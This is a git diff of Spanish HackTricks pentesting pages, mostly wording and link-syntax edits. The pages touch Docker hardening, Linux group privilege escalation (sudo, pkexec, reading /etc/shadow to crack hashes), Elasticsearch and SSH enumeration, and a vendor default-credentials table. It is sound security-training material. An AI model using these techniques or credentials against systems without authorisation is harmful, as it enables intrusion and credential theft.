- Para envíos de imágenes después del primero, Docker solicita la frase de contraseña de la clave del repositorio para firmar la imagen.
- Para los envíos de imágenes después del primero, Docker solicita la frase de contraseña de la clave del repositorio para firmar la imagen.
Para respaldar tus claves privadas, utiliza el comando:
```bash
@ -102,7 +102,7 @@ En entornos contenedorizados, aislar proyectos y sus procesos es fundamental par
**Grupos de Control (CGroups)**
- **Función**: Principalmente utilizados para asignar recursos entre procesos.
- **Función**: Utilizados principalmente para asignar recursos entre procesos.
- **Aspecto de Seguridad**: Los CGroups en sí no ofrecen seguridad de aislamiento, excepto por la característica `release_agent`, que, si está mal configurada, podría ser explotada para acceso no autorizado.
**Caída de Capacidades**
@ -110,14 +110,14 @@ En entornos contenedorizados, aislar proyectos y sus procesos es fundamental par
- **Importancia**: Es una característica de seguridad crucial para el aislamiento de procesos.
- **Funcionalidad**: Restringe las acciones que un proceso raíz puede realizar al eliminar ciertas capacidades. Incluso si un proceso se ejecuta con privilegios de root, la falta de las capacidades necesarias impide que ejecute acciones privilegiadas, ya que las llamadas al sistema fallarán debido a permisos insuficientes.
Estas son las **capacidades restantes** después de que el proceso elimine las otras:
Estas son las **capacidades restantes** después de que el proceso elimina las otras:
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
**Seccomp**
Está habilitado por defecto en Docker. Ayuda a **limitar aún más las syscalls** que el proceso puede llamar.\
El **perfil de Seccomp predeterminado de Docker** se puede encontrar en [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
El **perfil Seccomp por defecto de Docker** se puede encontrar en [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
**AppArmor**
@ -166,7 +166,7 @@ cgroups.md
### Capacidades
Las capacidades permiten **un control más fino sobre las capacidades que se pueden permitir** para el usuario root. Docker utiliza la característica de capacidad del núcleo de Linux para **limitar las operaciones que se pueden realizar dentro de un contenedor** independientemente del tipo de usuario.
Las capacidades permiten **un control más fino sobre las capacidades que se pueden permitir** para el usuario root. Docker utiliza la función de capacidad del núcleo de Linux para **limitar las operaciones que se pueden realizar dentro de un contenedor** independientemente del tipo de usuario.
Cuando se ejecuta un contenedor de Docker, el **proceso elimina capacidades sensibles que el proceso podría usar para escapar de la aislamiento**. Esto intenta asegurar que el proceso no podrá realizar acciones sensibles y escapar:
@ -311,18 +311,22 @@ En entornos de Kubernetes, los secretos son compatibles de forma nativa y se pue
**gVisor** es un núcleo de aplicación, escrito en Go, que implementa una parte sustancial de la superficie del sistema Linux. Incluye un runtime de [Open Container Initiative (OCI)](https://www.opencontainers.org) llamado `runsc` que proporciona un **límite de aislamiento entre la aplicación y el núcleo del host**. El runtime `runsc` se integra con Docker y Kubernetes, lo que facilita la ejecución de contenedores en sandbox.
{% embed url="https://github.com/google/gvisor" %}
{{#ref}}
https://github.com/google/gvisor
{{#endref}}
### Kata Containers
**Kata Containers** es una comunidad de código abierto que trabaja para construir un runtime de contenedores seguro con máquinas virtuales ligeras que se sienten y rinden como contenedores, pero que proporcionan **un aislamiento de carga de trabajo más fuerte utilizando tecnología de virtualización de hardware** como una segunda capa de defensa.
{% embed url="https://katacontainers.io/" %}
{{#ref}}
https://katacontainers.io/
{{#endref}}
### Consejos Resumidos
### Resumen de Consejos
- **No use la bandera `--privileged` ni monte un** [**socket de Docker dentro del contenedor**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** El socket de Docker permite crear contenedores, por lo que es una forma fácil de tomar el control total del host, por ejemplo, ejecutando otro contenedor con la bandera `--privileged`.
- **No ejecute como root dentro del contenedor. Use un** [**usuario diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **y** [**namespaces de usuario**](https://docs.docker.com/engine/security/userns-remap/)**.** El root en el contenedor es el mismo que en el host a menos que se remapee con namespaces de usuario. Está solo ligeramente restringido por, principalmente, namespaces de Linux, capacidades y cgroups.
- **No utilice la bandera `--privileged` ni monte un** [**socket de Docker dentro del contenedor**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** El socket de Docker permite crear contenedores, por lo que es una forma fácil de tomar el control total del host, por ejemplo, ejecutando otro contenedor con la bandera `--privileged`.
- **No ejecute como root dentro del contenedor. Use un** [**usuario diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **y** [**namespaces de usuario**](https://docs.docker.com/engine/security/userns-remap/)**.** El root en el contenedor es el mismo que en el host a menos que se remapee con namespaces de usuario. Está restringido ligeramente por, principalmente, namespaces de Linux, capacidades y cgroups.
- [**Elimine todas las capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) y habilite solo las que son necesarias** (`--cap-add=...`). Muchas cargas de trabajo no necesitan capacidades y agregarlas aumenta el alcance de un posible ataque.
- [**Utilice la opción de seguridad “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que los procesos obtengan más privilegios, por ejemplo, a través de binarios suid.
- [**Limite los recursos disponibles para el contenedor**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Los límites de recursos pueden proteger la máquina de ataques de denegación de servicio.
@ -330,7 +334,7 @@ En entornos de Kubernetes, los secretos son compatibles de forma nativa y se pue
- **Utilice** [**imágenes oficiales de Docker**](https://docs.docker.com/docker-hub/official_images/) **y requiera firmas** o construya las suyas propias basadas en ellas. No herede ni use imágenes [con puerta trasera](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). También almacene claves raíz y frases de paso en un lugar seguro. Docker tiene planes para gestionar claves con UCP.
- **Reconstruya regularmente** sus imágenes para **aplicar parches de seguridad al host y a las imágenes.**
- Gestione sus **secretos sabiamente** para que sea difícil para el atacante acceder a ellos.
- Si **expone el demonio de Docker, use HTTPS** con autenticación de cliente y servidor.
- Si **expone el daemon de docker, use HTTPS** con autenticación de cliente y servidor.
- En su Dockerfile, **prefiera COPY en lugar de ADD**. ADD extrae automáticamente archivos comprimidos y puede copiar archivos de URLs. COPY no tiene estas capacidades. Siempre que sea posible, evite usar ADD para no ser susceptible a ataques a través de URLs remotas y archivos Zip.
- Tenga **contenedores separados para cada microservicio.**
- **No ponga ssh** dentro del contenedor, “docker exec” se puede usar para ssh al contenedor.
@ -338,7 +342,7 @@ En entornos de Kubernetes, los secretos son compatibles de forma nativa y se pue
## Docker Breakout / Escalación de Privilegios
Si está **dentro de un contenedor de Docker** o tiene acceso a un usuario en el **grupo de Docker**, podría intentar **escapar y escalar privilegios**:
Si está **dentro de un contenedor de docker** o tiene acceso a un usuario en el **grupo de docker**, podría intentar **escapar y escalar privilegios**:
{{#ref}}
docker-breakout-privilege-escalation/
@ -346,7 +350,7 @@ docker-breakout-privilege-escalation/
## Bypass del Plugin de Autenticación de Docker
Si tiene acceso al socket de Docker o tiene acceso a un usuario en el **grupo de Docker pero sus acciones están siendo limitadas por un plugin de autenticación de Docker**, verifique si puede **eludirlo:**
Si tiene acceso al socket de docker o tiene acceso a un usuario en el **grupo de docker pero sus acciones están siendo limitadas por un plugin de autenticación de docker**, verifique si puede **eludirlo:**
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
@ -355,7 +359,7 @@ authz-and-authn-docker-access-authorization-plugin.md
## Endurecimiento de Docker
- La herramienta [**docker-bench-security**](https://github.com/docker/docker-bench-security) es un script que verifica docenas de mejores prácticas comunes en torno al despliegue de contenedores Docker en producción. Las pruebas son todas automatizadas y se basan en el [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Necesita ejecutar la herramienta desde el host que ejecuta Docker o desde un contenedor con suficientes privilegios. Descubra **cómo ejecutarlo en el README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
Necesita ejecutar la herramienta desde el host que ejecuta docker o desde un contenedor con suficientes privilegios. Descubra **cómo ejecutarlo en el README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Referencias
@ -373,5 +377,4 @@ Necesita ejecutar la herramienta desde el host que ejecuta Docker o desde un con
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
{{#include ../../../banners/hacktricks-training.md}}

16
src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
View File

@ -6,7 +6,7 @@
### **PE - Método 1**
**A veces**, **por defecto (o porque algún software lo necesita)** dentro del **/etc/sudoers** archivo puedes encontrar algunas de estas líneas:
**A veces**, **por defecto (o porque algún software lo necesita)** dentro del **/etc/sudoers** puedes encontrar algunas de estas líneas:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -56,7 +56,7 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
```
## Grupo Wheel
**A veces**, **por defecto** dentro del **/etc/sudoers** puedes encontrar esta línea:
**A veces**, **por defecto** dentro del **/etc/sudoers** archivo puedes encontrar esta línea:
```
%wheel ALL=(ALL:ALL) ALL
```
@ -72,7 +72,7 @@ Los usuarios del **grupo shadow** pueden **leer** el **/etc/shadow** archivo:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
Así que, lee el archivo y trata de **crackear algunos hashes**.
Así que, lee el archivo e intenta **crackear algunos hashes**.
## Grupo de Personal
@ -163,7 +163,7 @@ El **grupo de video** tiene acceso para ver la salida de la pantalla. Básicamen
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
Para **abrir** la **imagen en bruto** puedes usar **GIMP**, seleccionar el archivo **`screen.raw`** y seleccionar como tipo de archivo **Datos de imagen en bruto**:
Para **abrir** la **imagen en bruto** puedes usar **GIMP**, seleccionar el \*\*`screen.raw`\*\* y seleccionar como tipo de archivo **Datos de imagen en bruto**:
![](<../../../images/image (463).png>)
@ -201,9 +201,13 @@ Finalmente, si no te gustan ninguna de las sugerencias anteriores, o no están f
Si tienes permisos de escritura sobre el socket de docker, lee [**esta publicación sobre cómo escalar privilegios abusando del socket de docker**](../#writable-docker-socket)**.**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
## Grupo lxc/lxd

11
src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
View File

@ -1,6 +1,5 @@
{{#include ../../banners/hacktricks-training.md}}
# Grupos Sudo/Admin
## **PE - Método 1**
@ -30,7 +29,7 @@ Verifica el contenido de:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Ahí encontrarás qué grupos tienen permiso para ejecutar **pkexec** y **por defecto** en algunos linux pueden **aparecer** algunos de los grupos **sudo o admin**.
Ahí encontrarás qué grupos tienen permiso para ejecutar **pkexec** y **por defecto** en algunas distribuciones de Linux pueden **aparecer** algunos de los grupos **sudo o admin**.
Para **convertirte en root puedes ejecutar**:
```bash
@ -127,9 +126,13 @@ find / -group root -perm -g=w 2>/dev/null
Puedes montar el sistema de archivos raíz de la máquina host en el volumen de una instancia, de modo que cuando la instancia se inicie, carga inmediatamente un `chroot` en ese volumen. Esto te da efectivamente acceso root en la máquina.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
# Grupo lxc/lxd

92
src/misc/references.md
View File

@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{% embed url="https://www.thehacker.recipes/" %}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{% embed url="https://hideandsec.sh/" %}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{% embed url="https://cheatsheet.haax.fr/" %}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{% embed url="https://infosecwriteups.com/" %}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{% embed url="https://www.exploit-db.com/" %}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{% embed url="https://wadcoms.github.io/" %}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{% embed url="https://lolbas-project.github.io" %}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{% embed url="https://pentestbook.six2dez.com/" %}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{% embed url="https://www.hackingarticles.in/" %}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{% embed url="https://pentestlab.blog/" %}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{% embed url="https://ippsec.rocks/" %}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

6
src/network-services-pentesting/5439-pentesting-redshift.md
View File

@ -6,8 +6,10 @@
Este puerto es utilizado por **Redshift** para funcionar. Es básicamente una variación de **PostgreSQL** en AWS.
Para más información, consulta:
Para más información consulta:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

6
src/network-services-pentesting/9100-pjl.md
View File

@ -46,9 +46,11 @@ msf> use auxiliary/scanner/printer/printer_delete_file
```
## Herramienta de hacking de impresoras
Esta es la herramienta que deseas usar para abusar de impresoras:
Esta es la herramienta que quieres usar para abusar de impresoras:
{% embed url="https://github.com/RUB-NDS/PRET" %}
{{#ref}}
https://github.com/RUB-NDS/PRET
{{#endref}}
# **Shodan**

37
src/network-services-pentesting/9200-pentesting-elasticsearch.md
View File

@ -4,11 +4,33 @@
## Información básica
Elasticsearch es un motor de búsqueda y análisis **distribuido**, **de código abierto** para **todo tipo de datos**. Es conocido por su **velocidad**, **escalabilidad** y **APIs REST simples**. Construido sobre Apache Lucene, fue lanzado por primera vez en 2010 por Elasticsearch N.V. (ahora conocido como Elastic). Elasticsearch es el componente central del Elastic Stack, una colección de herramientas de código abierto para la ingestión, enriquecimiento, almacenamiento, análisis y visualización de datos. Este stack, comúnmente conocido como ELK Stack, también incluye Logstash y Kibana, y ahora tiene agentes de envío de datos ligeros llamados Beats.
Elasticsearch es un motor de búsqueda y análisis **distribuido**, **de código abierto** para **todo tipo de datos**. Es conocido por su **velocidad**, **escalabilidad** y **APIs REST simples**. Construido sobre Apache Lucene, fue lanzado por primera vez en 2010 por Elasticsearch N.V. (ahora conocido como Elastic). Elasticsearch es el componente central del Elastic Stack, una colección de herramientas de código abierto para la ingestión, enriquecimiento, almacenamiento, análisis y visualización de datos. Este stack, comúnmente referido como ELK Stack, también incluye Logstash y Kibana, y ahora tiene agentes de envío de datos ligeros llamados Beats.
### ¿Qué es un índice de Elasticsearch?
Un **índice** de Elasticsearch es una
Un **índice** de Elasticsearch es una colección de **documentos relacionados** almacenados como **JSON**. Cada documento consiste en **claves** y sus correspondientes **valores** (cadenas, números, booleanos, fechas, arreglos, geolocalizaciones, etc.).
Elasticsearch utiliza una estructura de datos eficiente llamada **índice invertido** para facilitar búsquedas de texto completo rápidas. Este índice lista cada palabra única en los documentos e identifica los documentos en los que aparece cada palabra.
Durante el proceso de indexación, Elasticsearch almacena los documentos y construye el índice invertido, permitiendo búsquedas casi en tiempo real. La **API de índice** se utiliza para agregar o actualizar documentos JSON dentro de un índice específico.
**Puerto por defecto**: 9200/tcp
## Enumeración manual
### Banner
El protocolo utilizado para acceder a Elasticsearch es **HTTP**. Cuando accedes a él a través de HTTP, encontrarás información interesante: `http://10.10.10.115:9200/`
![](<../images/image (294).png>)
Si no ves esa respuesta al acceder a `/`, consulta la siguiente sección.
### Autenticación
**Por defecto, Elasticsearch no tiene la autenticación habilitada**, por lo que, por defecto, puedes acceder a todo dentro de la base de datos sin usar ninguna credencial.
Puedes verificar que la autenticación está deshabilitada con una solicitud a:
```bash
curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
{"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500}
@ -33,7 +55,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user"
#Get more information about the rights of an user:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
```
### Elastic Info
### Información de Elastic
Aquí hay algunos endpoints a los que puedes **acceder a través de GET** para **obtener** información sobre elasticsearch:
@ -69,7 +91,7 @@ Además, si accedes a `/_cat`, la respuesta contendrá los endpoints `/_cat/*` s
En `/_security/user` (si la autenticación está habilitada) puedes ver qué usuario tiene el rol `superuser`.
### Indices
### Índices
Puedes **reunir todos los índices** accediendo a `http://10.10.10.115:9200/_cat/indices?v`
```
@ -107,7 +129,7 @@ Si estás buscando alguna información, puedes hacer una **búsqueda en bruto en
Si solo deseas **buscar en un índice** puedes **especificarlo** en la **ruta**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
_Ten en cuenta que el parámetro q utilizado para buscar contenido **soporta expresiones regulares**_
_Nota que el parámetro q utilizado para buscar contenido **soporta expresiones regulares**_
También puedes usar algo como [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) para hacer fuzzing a un servicio de elasticsearch.
@ -139,11 +161,12 @@ Algunas herramientas obtendrán algunos de los datos presentados anteriormente:
```bash
msf > use auxiliary/scanner/elasticsearch/indices_enum
```
{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %}
{{#ref}}
https://github.com/theMiddleBlue/nmap-elasticsearch-nse
{{#endref}}
## Shodan
- `port:9200 elasticsearch`
{{#include ../banners/hacktricks-training.md}}

4
src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md
View File

@ -4,7 +4,9 @@
# **Contraseñas por defecto**
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
{{#ref}}
http://www.vulnerabilityassessment.co.uk/passwordsC.htm
{{#endref}}
# Archivos de configuración
```text

4
src/network-services-pentesting/pentesting-kerberos-88/README.md
View File

@ -27,7 +27,9 @@ PORT STATE SERVICE
La vulnerabilidad MS14-068 permite a un atacante manipular el token de inicio de sesión Kerberos de un usuario legítimo para reclamar falsamente privilegios elevados, como ser un Administrador de Dominio. Esta reclamación falsa es validada erróneamente por el Controlador de Dominio, lo que permite el acceso no autorizado a los recursos de la red en todo el bosque de Active Directory.
{% embed url="https://adsecurity.org/?p=541" %}
{{#ref}}
https://adsecurity.org/?p=541
{{#endref}}
Otros exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)

58
src/network-services-pentesting/pentesting-ssh.md
View File

@ -2,8 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
## Información Básica
**SSH (Secure Shell o Secure Socket Shell)** es un protocolo de red que permite una conexión segura a una computadora a través de una red no segura. Es esencial para mantener la confidencialidad e integridad de los datos al acceder a sistemas remotos.
@ -23,7 +21,7 @@
- [libssh](https://www.libssh.org) – biblioteca C multiplataforma que implementa el protocolo SSHv2 con enlaces en [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) y [R](https://github.com/ropensci/ssh); es utilizada por KDE para sftp y por GitHub para la infraestructura git SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – biblioteca de servidor SSHv2 escrita en ANSI C y dirigida a entornos embebidos, RTOS y con recursos limitados
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – la biblioteca java Apache SSHD se basa en Apache MINA
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – biblioteca java Apache SSHD basada en Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) – biblioteca del protocolo SSHv2 en Python
## Enumeración
@ -42,7 +40,7 @@ ssh-audit es una herramienta para la auditoría de la configuración del servido
- Soporte para el protocolo SSH1 y SSH2;
- analizar la configuración del cliente SSH;
- capturar banner, reconocer dispositivo o software y sistema operativo, detectar compresión;
- obtener banner, reconocer dispositivo o software y sistema operativo, detectar compresión;
- recopilar algoritmos de intercambio de claves, clave de host, cifrado y código de autenticación de mensajes;
- salida de información sobre algoritmos (disponible desde, eliminado/deshabilitado, inseguro/débil/legado, etc);
- salida de recomendaciones de algoritmos (agregar o eliminar según la versión de software reconocida);
@ -95,9 +93,9 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
## Fuerza bruta de nombres de usuario, contraseñas y claves privadas
### Enumeración de nombres de usuario
### Enumeración de Nombres de Usuario
En algunas versiones de OpenSSH puedes realizar un ataque de temporización para enumerar usuarios. Puedes usar un módulo de metasploit para explotar esto:
En algunas versiones de OpenSSH, puedes realizar un ataque de temporización para enumerar usuarios. Puedes usar un módulo de metasploit para explotar esto:
```
msf> use scanner/ssh/ssh_enumusers
```
@ -105,7 +103,7 @@ msf> use scanner/ssh/ssh_enumusers
Algunas credenciales ssh comunes [aquí](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) y [aquí](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) y a continuación.
### Fuerza Bruta de Clave Privada
### Fuerza bruta de clave privada
Si conoces algunas claves privadas ssh que podrían ser utilizadas... intentémoslo. Puedes usar el script de nmap:
```
@ -119,11 +117,13 @@ O use `ssh-keybrute.py` (python3 nativo, ligero y con algoritmos heredados habil
#### Las badkeys conocidas se pueden encontrar aquí:
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
{{#ref}}
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
{{#endref}}
#### Claves SSH débiles / PRNG predecible de Debian
Algunos sistemas tienen fallos conocidos en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves drásticamente reducido que puede ser forzado. Conjuntos de claves pre-generadas generadas en sistemas Debian afectados por PRNG débiles están disponibles aquí: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Algunos sistemas tienen fallas conocidas en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves drásticamente reducido que puede ser forzado. Conjuntos de claves pre-generadas generadas en sistemas Debian afectados por PRNG débiles están disponibles aquí: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Deberías buscar aquí para encontrar claves válidas para la máquina víctima.
@ -135,21 +135,21 @@ Para más información, ejecuta `crackmapexec ssh --help`.
## Credenciales por defecto
| **Proveedor** | **Nombres de usuario** | **Contraseñas** |
| ------------- | ------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
| ------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
## SSH-MitM
@ -158,8 +158,8 @@ Si estás en la red local como la víctima que va a conectarse al servidor SSH u
**Ruta de ataque:**
- **Redirección de tráfico:** El atacante **desvía** el tráfico de la víctima a su máquina, interceptando efectivamente el intento de conexión al servidor SSH.
- **Intercepción y registro:** La máquina del atacante actúa como un **proxy**, **capturando** los detalles de inicio de sesión del usuario al pretender ser el servidor SSH legítimo.
- **Ejecución de comandos y reenvío:** Finalmente, el servidor del atacante **registra las credenciales del usuario**, **reenviando los comandos** al verdadero servidor SSH, **ejecutándolos**, y **enviando los resultados de vuelta** al usuario, haciendo que el proceso parezca fluido y legítimo.
